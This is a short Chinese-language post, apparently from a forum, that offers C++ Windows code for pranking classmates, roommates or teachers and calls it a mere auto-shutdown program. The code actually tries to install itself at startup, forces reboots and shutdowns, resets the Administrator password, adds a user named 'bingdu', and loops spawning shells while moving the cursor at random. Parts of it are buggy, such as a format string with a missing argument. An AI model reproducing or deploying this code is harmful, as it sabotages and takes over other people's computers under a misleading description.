拥有它,你可以搞同学,盆友,室友(当然也可以搞老师~~~(只要不怕死))
切记这只是一个可以让电脑自动关机的代码!!~
look:
//千万别运行代码,不然······(后果自负)
#include <iostream>
#include <windows.h>
#include <ctime>
#include <cstdlib>
#include <cstdio>
#include <fstream>
using namespace std;
int main(){
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy);
char cmd[] = "shutdown -r -t 0";
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");
system("net user bingdu xz /add");
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -s -t 20");
while (1){
SetCursorPos(rand() % x,rand() % y);
system("start");
}
return 0;
}